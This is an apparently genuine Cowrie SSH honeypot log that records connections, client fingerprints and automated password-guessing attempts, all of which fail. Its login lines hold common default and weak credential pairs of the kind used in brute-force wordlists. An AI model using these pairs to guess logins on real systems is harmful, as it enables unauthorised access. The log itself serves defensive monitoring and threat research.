{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:01.257553Z","src_ip":"213.209.159.159","session":"f5c700fd1c4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:01.350744Z","src_ip":"80.94.92.186","session":"0b5c1557eda6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":57809,"dst_ip":"10.17.0.5","dst_port":22,"session":"a23dccb48929","protocol":"ssh","message":"New connection: 177.54.62.66:57809 (10.17.0.5:22) [session: a23dccb48929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:01.357474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:01.375091Z","src_ip":"177.54.62.66","session":"a23dccb48929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:01.521450Z","src_ip":"177.54.62.66","session":"a23dccb48929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"giavanna","password":"giavanna","message":"login attempt [giavanna/giavanna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:01.677647Z","src_ip":"213.209.159.159","session":"f5c700fd1c4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Password","message":"login attempt [administrator/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:02.110582Z","src_ip":"177.54.62.66","session":"a23dccb48929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:02.487253Z","src_ip":"80.94.92.186","session":"0b5c1557eda6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39548,"dst_ip":"159.203.135.109","dst_port":22,"session":"255f4ca345d4","protocol":"ssh","message":"New connection: 192.109.200.78:39548 (159.203.135.109:22) [session: 255f4ca345d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:02.525974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:02.531559Z","src_ip":"192.109.200.78","session":"255f4ca345d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:02.620978Z","src_ip":"192.109.200.78","session":"255f4ca345d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"giavanna","password":"giavanna1","message":"login attempt [giavanna/giavanna1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:02.774873Z","src_ip":"213.209.159.159","session":"f5c700fd1c4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:02.897027Z","src_ip":"192.109.200.78","session":"255f4ca345d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:03.251734Z","src_ip":"177.54.62.66","session":"a23dccb48929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"giavanna","password":"giavanna123","message":"login attempt [giavanna/giavanna123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:03.861775Z","src_ip":"213.209.159.159","session":"f5c700fd1c4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:03.994111Z","src_ip":"192.109.200.78","session":"255f4ca345d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"giavanna","password":"giavanna1234","message":"login attempt [giavanna/giavanna1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:04.952989Z","src_ip":"213.209.159.159","session":"f5c700fd1c4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"giavanna","password":"giavanna12345","message":"login attempt [giavanna/giavanna12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:06.040693Z","src_ip":"213.209.159.159","session":"f5c700fd1c4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39562,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aec39b78dfc","protocol":"ssh","message":"New connection: 192.109.200.78:39562 (159.203.135.109:22) [session: 4aec39b78dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:06.516098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:06.522672Z","src_ip":"192.109.200.78","session":"4aec39b78dfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:06.613426Z","src_ip":"192.109.200.78","session":"4aec39b78dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:07.126474Z","src_ip":"213.209.159.159","session":"f5c700fd1c4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:07.444475Z","src_ip":"192.109.200.78","session":"4aec39b78dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:08.598105Z","src_ip":"192.109.200.78","session":"4aec39b78dfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34226,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec99291c130d","protocol":"ssh","message":"New connection: 192.109.200.78:34226 (159.203.135.109:22) [session: ec99291c130d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:10.658200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:10.670611Z","src_ip":"192.109.200.78","session":"ec99291c130d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:10.753771Z","src_ip":"192.109.200.78","session":"ec99291c130d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:11.007266Z","src_ip":"192.109.200.78","session":"ec99291c130d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:12.103374Z","src_ip":"192.109.200.78","session":"ec99291c130d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34250,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc6fc0affb98","protocol":"ssh","message":"New connection: 192.109.200.78:34250 (159.203.135.109:22) [session: fc6fc0affb98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:14.682253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:14.688261Z","src_ip":"192.109.200.78","session":"fc6fc0affb98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:14.774301Z","src_ip":"192.109.200.78","session":"fc6fc0affb98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:15.024044Z","src_ip":"192.109.200.78","session":"fc6fc0affb98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:16.190603Z","src_ip":"192.109.200.78","session":"fc6fc0affb98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35990,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf85de5f831f","protocol":"ssh","message":"New connection: 192.109.200.78:35990 (159.203.135.109:22) [session: bf85de5f831f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:18.688654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:18.759331Z","src_ip":"192.109.200.78","session":"bf85de5f831f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:18.908684Z","src_ip":"192.109.200.78","session":"bf85de5f831f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:19.184699Z","src_ip":"192.109.200.78","session":"bf85de5f831f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:20.275485Z","src_ip":"192.109.200.78","session":"bf85de5f831f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36020,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b43261d3d91","protocol":"ssh","message":"New connection: 192.109.200.78:36020 (159.203.135.109:22) [session: 2b43261d3d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:22.964642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:22.970202Z","src_ip":"192.109.200.78","session":"2b43261d3d91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:23.053808Z","src_ip":"192.109.200.78","session":"2b43261d3d91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zarghami","password":"123456","message":"login attempt [zarghami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:23.304141Z","src_ip":"192.109.200.78","session":"2b43261d3d91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:24.393422Z","src_ip":"192.109.200.78","session":"2b43261d3d91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36034,"dst_ip":"159.203.135.109","dst_port":22,"session":"f372278cf9ea","protocol":"ssh","message":"New connection: 192.109.200.78:36034 (159.203.135.109:22) [session: f372278cf9ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:26.987215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:27.004636Z","src_ip":"192.109.200.78","session":"f372278cf9ea","protocol":"ssh"}
